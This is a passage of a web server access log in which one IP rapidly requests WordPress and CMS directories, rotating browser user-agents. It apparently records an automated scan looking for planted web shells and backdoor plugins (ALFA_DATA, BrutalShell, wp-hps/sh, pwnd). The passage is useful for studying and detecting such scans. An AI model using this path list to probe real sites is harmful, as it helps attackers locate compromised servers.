"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:47 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:47 +0300] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:47 +0300] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.82.8 - - [03/Feb/2026:10:56:47 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:48 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:48 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:48 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:49 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:56:49 +0300] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:49 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:49 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:50 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:50 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:50 +0300] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:50 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:50 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:51 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:51 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:51 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:51 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:56:52 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:52 +0300] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:52 +0300] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:52 +0300] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:52 +0300] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:53 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:53 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:53 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:53 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:54 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:54 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:56:54 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:54 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:55 +0300] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:56:55 +0300] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:55 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:56 +0300] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:56 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:56 +0300] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:56 +0300] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:57 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:57 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:57 +0300] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:58 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:58 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:58 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.8 - - [03/Feb/2026:10:56:58 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:56:59 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:56:59 +0300] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:56:59 +0300] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:56:59 +0300] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:00 +0300] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:00 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:00 +0300] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.82.8 - - [03/Feb/2026:10:57:01 +0300] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:02 +0300] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:03 +0300] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:03 +0300] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:03 +0300] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:03 +0300] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:04 +0300] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:04 +0300] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:05 +0300] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:05 +0300] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.82.8 - - [03/Feb/2026:10:57:06 +0300] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:06 +0300] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:06 +0300] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:06 +0300] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:07 +0300] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.82.8 - - [03/Feb/2026:10:57:07 +0300] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:07 +0300] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:07 +0300] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:08 +0300] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:08 +0300] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:09 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:09 +0300] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:09 +0300] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:09 +0300] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:10 +0300] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:11 +0300] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:11 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:11 +0300] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:11 +0300] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:12 +0300] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.82.8 - - [03/Feb/2026:10:57:12 +0300] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:12 +0300] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:12 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:13 +0300] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:13 +0300] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.8 - - [03/Feb/2026:10:57:13 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:13 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:13 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:14 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.82.8 - - [03/Feb/2026:10:57:14 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.82.8 - - [03/Feb/2026:10:57:14 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:14 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:15 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:15 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:15 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:15 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:16 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:16 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:17 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:17 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:17 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:17 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:18 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:18 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.8 - - [03/Feb/2026:10:57:19 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.8 - - [03/Feb/2026:10:57:19 +0300] "GET /about/ 